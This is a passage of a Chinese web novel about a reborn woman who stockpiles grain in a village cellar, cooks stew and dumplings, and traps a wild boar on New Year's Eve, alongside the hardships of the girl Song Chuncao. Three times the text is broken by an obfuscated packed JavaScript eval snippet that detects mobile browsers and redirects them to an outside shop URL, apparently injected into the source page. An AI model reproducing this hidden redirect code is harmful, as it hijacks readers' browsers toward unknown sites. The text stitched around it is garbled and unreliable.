“……”宋春草无言地看着苏南来的背影，手里热腾腾的年糕正隔着油纸散发着香甜的气息，熏得她鼻子有些发酸。 …… 苏南来其实并不缺鸡肉吃。 她之前赶了不少趟集，连鸡蛋都囤了几百颗，富余到专门买了个坛子用来腌咸鸡蛋，当然不可能错过在集市上卖的那些现宰活鸡、活大鹅了。 冬天囤货更方便，讲究人就把囤的这些东西都放进缸里搁屋外头冻着，想图省事则是连岗都不用买，直接埋进雪里，只要记好地方在哪儿就行。 苏南来囤了一缸鸡肉和大鹅肉，还有一缸是她在县肉铺挤破脑袋才买到手的二十来斤猪五花、十多斤猪排骨、几副猪骨和套猪下水。 这些东西都得省着吃到开春解冻的。 至于这只野鸡，苏南来之所以买来，除了为吃，更多的还是想通过这只野鸡确定一下自己的计划，也就是她之前就几次动心想要进山捕猎却一直没能找到合适机会的捕猎计划。 野鸡通常是群居动物。 在根据漂亮得能做个毽子的鸡尾巴吗确定了宋春草卖给她的这只野鸡性别为公并且的确是被冻死后，苏南来就磨刀霍霍准备等到大年三十家家户户都在家过年不会进山的最佳时间段去山里碰碰运气。 野猪、狍子不敢说能有那运气碰上，但这只野公鸡背后的野鸡一家肯定是逃不过她的手掌心！ 不过在那之前…… 嘿嘿，苏南来看着案板上已经被处理干净的鸡，笑得一脸荡漾。她想起自己前阵子从个摊位上买的干蘑菇，决定来个纯纯正正的“野味”菜——小野鸡炖蘑菇！ 苏南来虽说不擅长做饭，但重生回来这段时间也学了不少，多少有点举一反三……哦不，应该说是一套公式照搬所有题目的能力。 跟炖猪肉一样，她先把鸡肉连皮带骨剁成块，简单焯水把血沫去了后，就开始炒糖色，等鸡肉炒得差不多了，把切好的葱姜放进去，再倒上点水，就盖锅盖小火咕嘟着了。 如干蘑菇、土豆这样的配菜不用太早放进去，野鸡不像家养鸡那么好炖，至少得大火猛烧地炖上一个来钟头才能把肉炖熟炖烂不说，等鸡肉熟了还得再揭开锅盖把汁儿熬粘稠才好吃，且得费功夫呢！ 干蘑菇先不用着急放进去，先拿水泡会儿，等开锅了再放进去。 苏南来还专门洗了几个土豆，打算一半切块放进去炖着，一半上锅蒸熟了当成主食吃。 蒸好的土豆蘸白糖味道也是相当的好吃！ 提起蘸白糖…… 苏南来猛地一拍大腿，可算想起揭锅都半天了的年糕了，赶忙朝屋里喊道：“闺女，别鼓捣那几根鸡毛了，赶紧洗手过来吃年糕——再不吃就该凉了！” …… 苏南来这边火急火燎地招呼着闺女，生怕这年糕凉了就粘牙不好吃了的是咋咋呼呼得没有半点大人模样。 另一边不过十来岁的宋春草则正弯着腰背着本不该属于她这个年纪承担的沉沉竹筐，一步一步地朝着家的方向走去，心里思索着该怎么不被家里的其他人发现自己这一趟的收获。 回到家。 临到家门口，宋春草蹑手蹑脚地猫在门口往院子里看了一圈，虽有些纳闷这个点竟然没人在院子里忙活还都各个屋门窗紧闭，却到底是松了口气地垫着脚进了院子。 宋春草在家里总是沉默的，家里其他人习惯并满意于她这种只埋头苦干的沉默。 她无需跟任何人打招呼说着“我砍柴回来了”的无聊话，她只需要无声地将背着筐里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13343858|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柴火放到家里专门用来放柴火的小仓库里就行。 这间小库房紧挨着灶房，宋春草在进来时没有发现旁边灶房里有人，可就在她准备拾柴火的时候，却听见灶房有人在说话…… 宋春草被这突如其来的声音吓得连忙收回了想推门的手，生怕被只隔着一堵薄薄土坯墙的那头人发现的，只能站在原地进退不得地听着对方说话： “……你在县里认识的那兄弟说的那事会是真的吗？这要是真的，他能那么好心告诉你？” “我也说不好。我这兄弟也是听他家里人说的，都还是没影儿的事呢！再说了，真的假的，咱这农村户口也够不上人城里人。” 毫不掩饰音量的对话，叫宋春草无需辨认就知道说话的这俩人是她小叔宋小山和小婶刘艳两口子。家里除了她小叔也没别人会游手好闲地总往县里跑，认识个县里人就能厚着脸皮跟人称兄道弟的，也就他了。 这两口子的对话，给宋春草听得是一头雾水，但更让她疑惑不解的是，他们俩有悄悄话不躲屋里说，为啥非得跑来灶房里说呢。 正想着呢，就听见刘艳用不满的声音说道：“还不是你爹妈舍不得钱给咱们上县城买房子！要我说，还不如分家呢，起码不用吃个东西都得偷偷摸摸的！” “分家？你可真敢想！”宋小山毫不留情地说道，“是不用偷偷摸摸的了，因为根本没得可吃了！毕竟真要分了家，咱两口子也只能靠喝西北风活着了！” 刘艳不服气：“咋就得喝西北风了，那分家不得给咱分钱分东西吗！” “不是我说你，你这一天天心里是真没点数！”宋小山无语道，“你男人我啥本事你不清楚也就得了，你自己是个啥玩意你还不知道吗，都不说能挣多少工分，就说家里头做个饭、洗个衣服这些女人该干的活，你从嫁进来做过几回？不都靠我那大侄女来吗！” 两口子说着说着就拌起嘴来，但说着说着又突然没音儿了。 宋春草正想着他们是不是察觉到自己偷听的时候，就听见这两口子像是被烫着了似的哈了好几口气。 然后，就是一声磕鸡蛋壳的声音…… 行吧，破案了，这就是他们跑来厨房的原因。 “还是鸡蛋羹好吃，这水煮鸡蛋一点滋味都没有……”刘艳狼吞虎咽地吃着还不忘挑剔地说道，“要我说，不分家也行，要是分了家，你爹妈肯定得归你大哥大嫂管，到时候就没人给咱养鸡下蛋吃了……” “我就说不能分家，你刚还不听……” “行行行，你说的都对！不过，就算不分家，你也得想辙弄个煤炉子搁屋里，也省得咱想吃个鸡蛋，还得跑来这冷飕飕的厨房里背着你大哥一家子偷吃……” 听着这两口子的对话，宋春草心里也说不出是啥滋味。 他们显然不是第一次在她爷奶的默许下背着自己一家跑来厨房吃独食。 尽管宋春草早就清楚爷奶对给这个家庭生下长孙的小叔一家的偏爱，但今天也还是对这份偏爱多了几分更深刻的认知。 在意识到这点后，宋春草心中种种情绪闪过，最后落在了庆幸上面。——幸好，她没有把捡来的鸡拿回来跟全家人分享。 她爷她奶恐怕到死都改不掉的重男轻女思想，而她又不可能改变自己和两个妹妹的性别，所以与其浪费时间和执拗的偏心眼长辈较劲，不如先过好自己的日子。 宋春草迅速调整好心态，一直等到宋小山和刘艳吃饱喝足离开灶房后，她才继续自己刚刚没完成的拾柴火工作，心里却忍不住又想起他们两口子在吃完鸡蛋后的对话…… 24. 第 24 章 第24章 在把柴火拾完后，宋春草生怕再碰上家里其他人，没在耽误时间，背着竹筐迅速回了自家五口人住的厢房。 “春草，今天咋这么晚才回来？”宋大山正在炕边编竹筐，他早些年伤到了腿，至今走路都有些瘸，干不了什么力气活，只能靠编竹筐赚外快。 回屋后，宋大山和冯淑兰两口子正一个坐在炕边编竹筐，一个坐在炕头缝衣服，俩妹子则躺在里头睡着了。 宋大山早些年伤过腿脚，至今走路都有些瘸，干不了什么力气活，只能靠编竹筐给家里赚点外快。对于宋春草这个才刚十几岁就因自己的问题而被迫顶起家里顶梁柱身份的女儿，宋大山和冯淑兰两口子是既心疼又愧疚。 见她又背着沉甸甸的竹筐回来，宋大山连忙放下手里编到一边的竹篮子，踉跄着脚步帮她把竹筐卸了下来，嘴里还不住念叨着：“都跟你说了咱家里柴火够烧的，你咋还去山里砍呢！这大冷天的……” “爹，不用担心，我没费多少力气，这里头大部分柴火都是我从柴火间拿回来的。” “啊？” 宋大山没听明白。 宋春草边从筐里往外捡柴火，边说道：“奶不总说谁想白天烧炕就自己去砍柴火吗，可凭啥小叔能用柴火间里的公用柴火给自己屋烧炕，咱家就不行？再说了，柴火间里的那些柴火几乎都是爹你还有我轮番去山里砍回来的，咱拿回来屋用也正常。” 说着，她就拿起柴火开始填炕。 听到这话，宋大山和冯淑兰对了对眼神，吞吞吐吐半天才冒出来一句：“那……那这点柴火运来运去也挺沉的。下回，还是叫爹去拿吧。” “是，以后这事都让你爹去！” 宋大山和冯淑兰两口子的回答，让宋春草心里熨帖得不得了。 她从筐里把压在柴火下面的纸包拿出来递给了冯淑兰：“娘，这个给你。” “啥呀这是？摸着还挺热乎的。”冯淑兰没多想地打开了纸包，打开后就被唬了一跳，“这，这是年糕？春草，你这是哪儿来的！” 宋春草三言两语把自己去苏南来家用捡来的野鸡换了十斤棒子面，以及苏南来特意包了年糕给自己的事说了个清楚。 说着，她就又把棒子面袋拎了出来。 “南来婶娘是个好人，不光没举报我这是薅社会主义墙角，还特意给我多装了棒子面。这里头，至少得有十一二斤……” 话没说完，宋春草就看到了面袋里用网兜装着的那八个鸡蛋。 还是八个煮熟的鸡蛋。 宋春草稍一琢磨就明白了苏南来的用意——她肯定是知道自己一家还没分家，不方便背着家里其他人开小灶，这才特意给她拿了煮熟的鸡蛋。 在一旁爹娘还在为这事又惊又喜又感动的时候，宋春草已经麻利地剥好一个鸡蛋咬了一口。 谁说水煮鸡蛋不好吃？ 她永远喜欢水煮鸡蛋！ …… “阿嚏——” 正在收拾菜窖的苏南来打了一个响亮的喷嚏。 一想、二骂、三惦记。 苏南来觉得自己大概是灰尘过敏，毕竟菜窖已经几年没用过，里面地蜘蛛网和灰尘都得有一指多厚了，打扫起来实在是个大工程！ 自打宋有牛去世后，家里这个菜窖就没怎么用过，往年囤菜都是赶在宋望北回来探亲时，由他在前院靠近自留地附近的位置挖个临时菜窖，简单囤够冬天吃的，等天一暖和，再把这临时菜窖填回去，再吃菜就能直接跟队里其他人换些新鲜的了。 这样是说挺折腾，但和让自家娇滴滴的媳妇儿四处囤菜，还得爬着梯子把囤回来的菜运到地下好几米的菜窖里去比起来，宋望北宁愿这样折腾。 也因为这个，家里位于房子后院子里的菜窖就这样搁置了。 如今菜窖被重新启动，苏南来也是感慨颇多。 在给菜窖打开门通了好一会儿气后，苏南来穿着从柜里翻出来的旧衣服，拿着笤帚和抹布，顺着仍旧牢固的木梯进入了菜窖。 菜窖还是当年宋有牛在这块村里划给他的房基地盖房时一并建的，用她公公宋有牛的话来说，这菜窖挖得就跟防空洞似的，既宽敞又安全。 从前不觉得有啥，如今时隔多年再看，倒还真是挺不赖。 光是这用石头严丝合缝砌好的四周和地面就足够防潮、防虫了，更别说这站起来能直起腰还有富余的深度，和绝对够装不少东西的面积，简直能当个小仓库来用了！ 在将菜窖里里外外都收拾了一遍，并用从邱丽娟那儿拿来的干艾草叶子熏了一遍，又四处检查没有耗子洞啥的后，苏南来又开始清点现有家当，准备趁着这“二十四扫房日”的最佳时机，一口气把家里现有物资合计好了，好把该放进菜窖里的放进去。 ……棒子面二百斤、高粱米和高粱米各一百五十斤、白米白面各五十斤、小米二十斤、黄米面二十斤，还有可以用来榨油的黄豆，她也换了几十斤，打算留着过完年后去公社榨豆油。 苏南来打算把细粮暂时放在橱柜里，方便日常给闺女蒸煮吃，粗粮和黄豆则都装成口袋放进缸里一并搁进菜窖里，到时候自己十天下去菜窖一趟拿够吃的，这样既方便储存也能引人耳目。 和粮食一起放进菜窖里的，还有苏南来这阵子四处赶集搜罗来的几麻袋土豆和红薯，加起来也有差不多四百斤。 哦，还有她前两天做的一条咸猪腿，这也得一块放进菜窖给它挂起来。 苏南来仔仔细细把家里现有的家当整理了一番后，也不知道从哪儿翻出来了个本子和笔，打算把方进菜窖里的东西记一下后，再把屋里的东西归拢成册。 “豆油七斤、酱油一罐、醋一瓶、香油六两、盐六斤、红糖白糖各四斤。” “麦乳精两罐、奶油饼干两盒、肉罐头和水果罐头各两瓶、核桃酥两包。” “现金……各种票证……” “猪肉……鸡肉……” 零零散散的写了满满一张纸，看得苏南来是满心沉甸甸的满足感，对即将到来的荒年也多了几分底气。 …… 在把菜窖收拾好，把该放进去的东西也都一鼓作气地摆放好后，苏南来想着自己到底是在收拾菜窖时沾了一身陈年老灰尘，光是换衣服也还是觉得别别扭扭的，拜年十分奢侈地烧了两大锅的开水，给自己连带着闺女一起洗了个澡。 冬天洗澡是个麻烦事，苏南来从重生回来后就没再洗过澡……这也算是末世遗留问题吧，毕竟在末世，脏乱差的皮肤管理是种掩护。 如今赶上机会难得洗次澡，苏南来硬是从家里翻出了晒干的丝瓜瓤子，给自己和闺女都狠狠搓了一通，只觉得从头到尾都舒服得不得了。 就是…… 有点饿了。 这一天又是收拾菜窖又是搬搬弄弄又是烧水洗澡的，饶是苏南来这个大力士也多少有些吃不消了。 苏南来自打重生回来后，就没再在吃食上面委屈过自己，觉得饿了也不管现在是不是饭点，起来就打算去灶房烧火做饭。 昨天炖的鸡肉还剩下小半锅，汤汤水水的倒是还能再烩点菜干或是土豆啥的进去，但苏南来昨天吃土豆有点吃顶了，不太想烩土豆吃。 正在苏南来有些纠结该怎么做才能既不浪费鸡肉还能吃得更开心的时候，就见宋圆圆不知道啥时候从炕上跑到灶房门口，像个刚冒出头的蘑菇似的歪着头，问：“妈，咱能擀点面条烩着吃吗？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13364317|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行啊！这怎么不行！” 苏南来十分高兴闺女难得向自己提出要求的同时，也对她这个提议感到眼前一亮。 苏南来在末世时有幸经历过一段末世还没来临时的现代生活，这算是系统给她的一个短暂的适应期，毕竟在进入末世前，她还是个只有扫盲文凭，在去世前连省城都没去过几次，更不知道冲水马桶怎么用的“三零后”人。 在对新社会的适应阶段，苏南来接触了许多新鲜的事物和食物。 其中，有个名为“新疆大盘鸡”的外卖美食，就是炖鸡+烩面，味道香香辣辣，苏南来当时相当喜欢吃，甚至在系统通知她即将正式开启末世生存任务时，她都还在吃这个。 只是可惜末世来得太突然也太久了，她在生死之间挣扎着想要获取重生的希望，能记住的也只有丈夫和闺女，其他的早就抛在脑后。 要不是宋圆圆今天难得提要求，苏南来也真想不起来自己那段像做梦一样的现代生活。 小鸡炖蘑菇的鸡和大盘鸡的鸡，肯定是味道不一样的鸡，但苏南来也不讲究这个，反正甭管是啥鸡，用来做烩面能好吃就行！ 这不，没一会儿工夫，苏南来就把面条擀出来了。 把面条煮熟，连汤带面地给盛到了盆里后，苏南来就把剩下那小半锅的鸡肉热了热，等鸡肉热得差不多的时候，她从盆里把面条都挑进了鸡肉锅里。确定面条混匀了汤汁后，再咕嘟会儿，把汁儿收粘稠了，这锅烩面就算好了。 苏南来把这一锅鸡肉烩面盛到盆里端到炕桌上，准备开吃！ 比起细细的挂面，手擀面的味道更加朴素也更耐吃，尤其适合搭配重口味的配菜，它既不像细面那样入味过重过咸，还能保有自身的麦香味，且嚼劲十足，吃起来更过瘾。 苏南来吃面向来爱用大碗，家里也有这样的大海碗，她自然是不能搁置，早就刷干净盛了一大碗的面后，还不忘舀一勺早就炖烂糊的鸡肉。 黏黏糊糊一大碗，也不用筷子怎么搅合，随便挑起一筷子就滚满了汤汁。 苏南来也不嫌热，随口吹了两下，端着大碗埋头吃了起来。 热过一遍的鸡肉更香也更入味了，几乎不用怎么费力只那么一抿就能骨肉分离，面条混着粘稠的汤汁，简直唇齿留香，仔细咂摸还能感受到早已经融化在其中的土豆泥的味道，更添几分风味。 苏南来连汤带面地狠扒拉几筷子，连肉带面地吃着，只觉得满满的肉香、麦香混合着粘稠的汁水在口中不断回荡着，热气儿熏得她人都跟着热乎起来，一身的疲惫也仿佛都被消减了。 怎么会这么好吃！ 如果不是舍不得放下碗的话，苏南来真的很想抬手给自己呱唧呱唧，她简直是个厨艺天才吧！ 果然，末世时短暂的搭档队友说她是厨房杀手的话是百分百的污蔑，明明就很好吃，只是从前巧妇难为无米之炊而已！ 在一口气吃了两大海碗面条后，苏南来差不多吃了个八分饱，就暂时歇了歇，见坐在对面的闺女也吃得香喷喷得挺起了小肚子，她忍不住伸手揉了揉，给闺女盛了碗刚煮面条的汤，自己也盛了一碗喝。 原汤化原食。 一大碗面条汤下肚，苏南来的鬓角都有些微微发汗，这就跟三伏天喝了碗酸梅汁一样让人通身舒服。 “呼！舒坦！” 苏南来常常舒了口气，整个人都舒服得跟刚吃进肚里的面条似的，软绵绵地倚在了身后叠好的被窝上。宋圆圆见状，也跟着一抹嘴地靠在她身上腻歪着，让苏南来原本有些空荡荡的怀抱有了用武之地。 好饱好满足好幸福。 屋外北风呼啸，前几天下过的雪还没有融化的迹象。 苏南来突然就有些期待起过年了。 25. 第 25 章 第25章 转眼，日子就到了大年三十这天。 苏南来在天还没亮的时候就早早起床，躲着民兵过年也日夜不歇的巡逻队伍，抄小路进了趟山。 苏南来在之前宋春草问她要不要野鸡时，特意从对方口中打探来了队里人进山砍柴、挖菜时常去的地方都有哪里。在得知没人敢往深了去后，苏南来又去蹚了几回道，把进山的路线都摸清楚后，就打算赶早进山下个套，看看能不能有所收获。 捕猎这玩意，光有力气不行，还得靠经验。 当初在末世的时候，连续的天灾逼得人类离开城市建筑回归乡野山林，却架不住再之后又遭遇了动植物变种——适者生存，苏南来为了活命就得先玩命，拼了命地跟那些变异了的动植物较劲，借力打力地发现了不少动植物的特性与敌对，也学到了不少捕食经验。 像是她天没亮就去山里设下的套子，就是在末世学来的，不敢说是百试百灵，但用在当下年代山里这些还没变异开智的小型动物身上，成功率应该不会太低。 苏南来心里猜想着掉进陷阱里的会是自己惦记的野鸡一家，还是在她们这地区出了名的傻狍子的同时，手里也没闲着地擀着饺子皮。 谁家过年不吃顿包饺子。 在当下这个物资贫瘠的年代，过年的饺子可以说是包含了劳动人民辛勤劳作一年才攒下来的期许，年夜饭的桌上啥都能没有，却不能没有这一盘热腾腾的饺子。 苏南来在末世的时候馋东馋西馋到最后，也还是得说最想吃上盘热饺子。这也算是她这个相对不擅长做饭的人难得擅长的手艺。 今天的饺子不是上次吃的熟肉馅儿，而是她用前几天新分到手的猪肉炼出来的猪油渣混着酸菜做出来的油渣酸菜馅饺子。 在腊月二十六那天，队里请来杀猪佬把剩下的那头年猪宰了，也算是对民谣里那句“二十六去买肉”的应景，队里人又都十分兴奋地分了几斤肉，苏南来也是美不颠儿地照旧拿走了本该老宋家那几口子人的猪肉。其中就有一块分量不小且适合用来炼猪油的肥肉。 苏南来用这块肥肉炼出了小半坛猪油，剩下的猪油渣则被她剁碎好后，和同样切好的酸菜一起和好，又放了不少葱姜，再把两勺滚烫的猪油浇上去—— 那叫一个香！ 苏南来在做饭这方面从不遵循传统方法，她也不会按部就班的做饭手艺，可谓是一日三餐，全靠灵感。 但或许真的是天赋吧，也可能是她在末世待久了吃啥都觉得香，反正从重生回来后做的每一顿饭，苏南来就没有觉得不好吃的。包括宋圆圆也是一样，顿顿都吃得喷香。 可惜这是在冬天，没有啥鲜灵蔬菜，不然这猪肉渣和韭菜或是茴香搭配肯定更香！ 苏南来擅长捏饺子，就是不用费功夫给饺子捏出褶，直接两只手的虎口处一捏就能捏出漂亮花边的饺子。用这手法包饺子的优点就是包出来好看还省时省力。 这不，没一会工夫，她就捏出了百十来个饺子，摆满了两大盖板。 饺子一共有两种馅。 一盖板上摆的是猪油渣馅儿，另一盖板上的则是干豆角猪肉馅儿的。 苏南来更期待猪油渣饺子，之所以特意包了盘豆角馅的饺子，是因为她家阿北最喜欢吃豆角了。他在冬天爱吃用干豆角包的饺子，夏天则喜欢用新鲜豆角蒸出来的包子。 爱屋及乌。 哪怕今年宋望北没能回来过年，苏南来也还是像往年一样包了他最爱吃的豆角馅饺子。 冬天物资匮乏，过年能吃顿肉馅饺子就已经是难得的奢侈了，所以苏南来也不打算再做别的饭菜，年夜饭就是这两盖板饺子，外加一大锅的饺子汤。 闷着煮皮儿，晾着煮馅儿。 苏南来怕饺子煮不透，先是盖着锅盖煮到开锅几分钟后才掀开盖儿继续煮，煮到三滚三开，这饺子就算是彻底煮熟能盛出来吃了。 捏出来的饺子煮好后更显肚大皮白，不用太重的料汁就，只稍稍来一点醋就绝对够味。 宋圆圆嫌酸，不爱吃醋，只倒了点青酱蘸饺子，苏南来则是打开了腊八时腌的腊八蒜罐子，从里头倒了小半碗的腊八醋蘸饺子。 饺子自带的澎湃汁水混合着稍带些辣味的腊八醋一同咬进嘴里的瞬间，就像是声声爆竹一般在口腔中炸开，滚烫浓稠得叫人浑身都暖洋洋的。 在北方，辛苦一年到头来，最渴望也最能熨帖人心的，唯有这一盘又一盘的饺子。 …… 在足足吃了三盘饺子，两大碗饺子汤后，苏南来舒服得恨不能现在就偎进温暖的被窝里，睡他个昏天黑地。 但不行。 天没亮时进山下的套，最适合在当下天又暗下去后进行回访。 苏南来拿起放在橱柜上的手表……七点半，是末世日常通报天气预报的时间，非常适合进山查看是否有所收获。 冬天夜长昼短，在七点半这个时间，天早就黑咕隆咚得快要伸手不见五指，家家户户都关门闭户地守在炕上或一起包饺子，或三五成群嗑瓜子聊天，玩几把不花钱的小牌，享受着这难得惬意的守岁时光，绝对不会有人在这时候进山。 这是荒年正式来临前，独属于苏南来的最佳机会。 在未来几年，靠山的几个生产大队会为了生存而陆续组成冬猎队和冬捕队，到时候再想偷偷进山，也不是不能，只是势必要躲开人群进到更深也更危险的地方去，实在得不偿失。 所以—— 出发吧！ 苏南来挣扎着把衣服换好，从热腾腾的炕上下来，拎着自己这阵子东拼西凑到手的捕猎装备，准备出发进山。 出发前，苏南来像早上那样嘱咐闺女：“咱屋里的门你已经学会怎么锁对不对？等妈出去后，你就像早上那样自己把屋门锁好，除了我以后谁来都别开门也别出声，知道吗？” 宋圆圆乖乖点头，心里清楚苏南来之所以冒险在夜里进山是为了叫自己不会再像上辈子那样饿肚子，所以哪怕再担心苏南来，她也还是在看到自己这哪儿都去不了也帮不上忙的小胳膊小腿时选择了乖巧的答应。 比起无用的担心，照顾好自己别让苏南来还要反过来担心她，是宋圆圆当下最应该做的事情，她也的确这样做了。 在苏南来的要求下，宋圆圆不厌其烦地开关了两回门闩。 在确定闺女能独立完成锁好门且打开的一系列动作后，苏南来这才放心地离开家，朝山里走去。 …… 在民兵巡逻的范围内，苏南来怕被发现一直摸着黑没敢打手电筒，一直到进了山，她才从挎着的布兜里拿出手电筒，顺着亮光开始寻找自己在清晨回来时一路留下的标记。 山路崎岖蜿蜒，哪怕苏南来已经顺着这条路来回走了好几次，也还是不敢轻易冒险。尤其是这黑灯瞎火的，还是得谨慎一些。 苏南来一路走一路防备，生怕走到半道就先蹿出个老虎出来，她可不是戏文里能打虎的武松，更别说这老虎肉也没法吃啊！至于跟老虎同级别的熊瞎子，她倒是不怕，主要是是碰不上，那玩意儿得冬眠，且得等到至少惊蛰时才会结束冬眠四处寻摸吃的。 在走了快一个钟头后，苏南来终于来到了自己天不亮时下套的地方。 确定好标记，苏南来拿着手电筒对着不远处的地面晃了晃，见上面用来做掩护的干草没了，只剩下个明晃晃的陷阱坑以后，她强压着欣喜，随手从地上捡起几块碎石头往陷阱里砸，见砸了几下都没动静后，这才放心的走到了陷阱边。 呦呼～ 在看到陷阱里的猎物后，苏南来到底是没忍住地吹了个口哨，在心里小小地欢呼一场。 不为别的，就为这陷阱里那头至少得有二百多斤的野猪—— 苏南来在挖陷阱的时候特意挖得又深又宽，为的就是防止掉进去的动物能挣扎出来。同时，她还在陷阱里插了些被她提前削尖的竹竿……也是因为这个，这头明显已经成年但还没来得及等到春天求偶就先崴泥在了陷阱的野猪才会被困在陷阱里无法挣脱。 听着这头野猪在陷阱里头哼哼的声音，苏南来下意识搓了搓指肚，盘算着该怎么给这皮糙肉厚的野猪neng死，又该怎么给它从坑里头弄出来运回家…… …… “闺女，开门，妈回来了。” 在时间接近零点的时候，宋圆圆终于听到门外传来的苏南来回来的声音，连忙从炕上下来把门打开了。 一开门，宋圆圆吓了一跳—— 只见苏南来满身狼狈地拖着个被剪开后上面铺满了肉的蛇皮袋子， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377442|138996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上带着罕见的疲惫，却还不忘安抚着被吓了一跳的宋圆圆：“妈回来晚了，圆圆你是不是都饿了？哎呀，马上就十二点了，妈这就换身衣服给你煮饺子去。” 说着，苏南来将拖回来的肉放到没人住的厢房，又回屋把已经脏透了的旧棉袄和棉裤换好后，哼着歌儿去厢房把下午剩下没煮的一盖板饺子拿到灶房后开始煮饺子。 宋圆圆则是趁此机会，偷偷溜到厢房，小心地看了一眼蛇皮袋子，没忍住地欺了欺鼻子，对里面浓重的血腥味和野猪特有的腥臊味感到十分的不适。 在满足了好奇心后，宋圆圆止不住对野猪的嫌弃，十分幼稚地选择跑进灶房打算用香喷喷的饺子味给自己清清鼻子。 宋圆圆没意识到自己在认出苏南来后越来越活泼开朗的变化，还在心里盘算着该怎么慢慢表现出自己的成熟稳重给苏南来看，好叫她别再总把自己当作什么都不懂的小孩。 想到这，宋圆圆鼓了鼓脸，回忆着自己从前总习惯的那副表情，故作严肃地同苏南来说：“妈，那袋子上面放的肉……实在是太臭了！” ？？？ 她在说什么？！ 宋圆圆瞪圆了眼睛，心想自己明明是想问苏南来要怎么处理门口那袋子野猪肉，谁成想只一个眼神对视，刚刚还想要在妈妈面前表现自己的想法就瞬间消散，脱口而出的话也变成了撒娇似的抱怨： “我不喜欢吃臭臭的肉。妈，咱们不要吃臭肉好不好？” “妈怎么可能给你吃臭肉呢。” 苏南来并不知晓宋圆圆说这话时的心路历程，只觉得闺女板正着一张脸却说出这么可爱的话的样子实在反差到有趣，忍不住捏了捏她最近胖了点的小脸蛋，保证道：“放心把闺女，那些肉是妈留着去市里换粮食用的，你这个小肚子就留着吃更好吃的东西吧！” 啊？ 宋圆圆茫然地看着苏南来，有些疑惑她要怎么把门口那至少两百斤的野猪肉带去市里，又要如何用这些肉换粮食回来。 可还没等她追问，锅里的饺子就又冒起了一开，咕噜咕噜的声音代表着沸腾，这让苏南来没了继续说下去的想法，只迫不及待将煮熟的饺子盛进盆里，转而招呼着宋圆圆快点回屋吃饭了。 宋圆圆：“……” 好叭，天大地大吃饭最大！ …… 初一饺子，初二面。 初三的合子往家转。 不管是什么重要的节日，在北方这里一律都是吃饺子。像是大年初一这样重要的节日，是必须得吃饺子的，而且是得在大年三十守岁过零点的时候吃。 在把煮熟的饺子盛好后，苏南来又回灶房拿了个最古老的老式瓷碗，从盆里拨出了二十五个饺子到碗里后，她默默把饺子碗放到了靠着墙的老式橱柜上—— 橱柜紧贴的墙上挂着宋有牛的照片。 饺子碗里是他始终爱吃的纯肉馅饺子。 又一年春节。 苏南来总是会在三十晚上跨过零点时，将煮出来的最早一锅的大年初一的饺子盛出来放在宋有牛的照片前。 这老头死犟，在去世那年的春节明明都困得打磕巴了，却还是嘴硬说不困，硬撑到过了零点哪怕已经没有啥胃口了，也还是在吃了两口肉馅饺子后才彻底闭上的眼。 也不知道这脾气到了地底下能不能变软和点。 苏南来边拿布擦了擦墙上的相框，边对着照片里笑得凶巴巴的老头念叨着：“今年忙着四处买粮囤货，忘了给您这个老酒鬼买高粱酒了，您可别因为这个就怪我，毕竟往年都是阿北惦记着这事……” 一年难得的碎碎叨叨后，苏南来领着闺女给宋有牛磕了头。 苏南来头抵着地，心中长叹—— 爹啊，阿北今年有任务回不来，不能给您拜年了，您在下面可千万得帮我盯着点，别叫他一个不留神就过去找您……我们一切都好，只等阿北回来，让他亲口跟您说…… 照片上，天生一副凶巴巴模样的老头笑得满脸褶皱，看起来十分不好招惹，一双犀利坚毅的双眼在饺子热气的熏染下，仿佛倒映出了拍照时站在照相师后那对新婚小夫妻摆着各种姿势试图叫这个瘪嘴老头笑一笑的场景。 照片里的小老头一脸无奈，仿佛在说：明年的高粱酒，我要双份！ 26. 第 26 章 第26章 爆竹声中辞旧岁。 春节匆匆来又匆匆过去，眼瞅着就要出正月了，辞旧迎新的过年气氛也就算是彻底结束，人们也将正式迎来新的一年，靠土地生活的庄稼人也要开始不停歇地忙活地里活了。 趁着队里还没正式开工，队里的人们都还各自猫冬享受最后假期的时候，苏南来准备去趟省城。 但有个问题，就是…… “闺女，你自己一人在家真行吗？妈明天可是要去省城，离咱家可远可远了，去一趟至少得等到吃晚饭的时候才能回来。要不，还是送你去你邱奶奶家吧。有她帮忙照顾你的话，我出门也能更放心点。” “我想在家等你回来。” “……” 宋圆圆拒绝配合并坚持要一个人留守在家的态度，叫苏南来实在发愁。 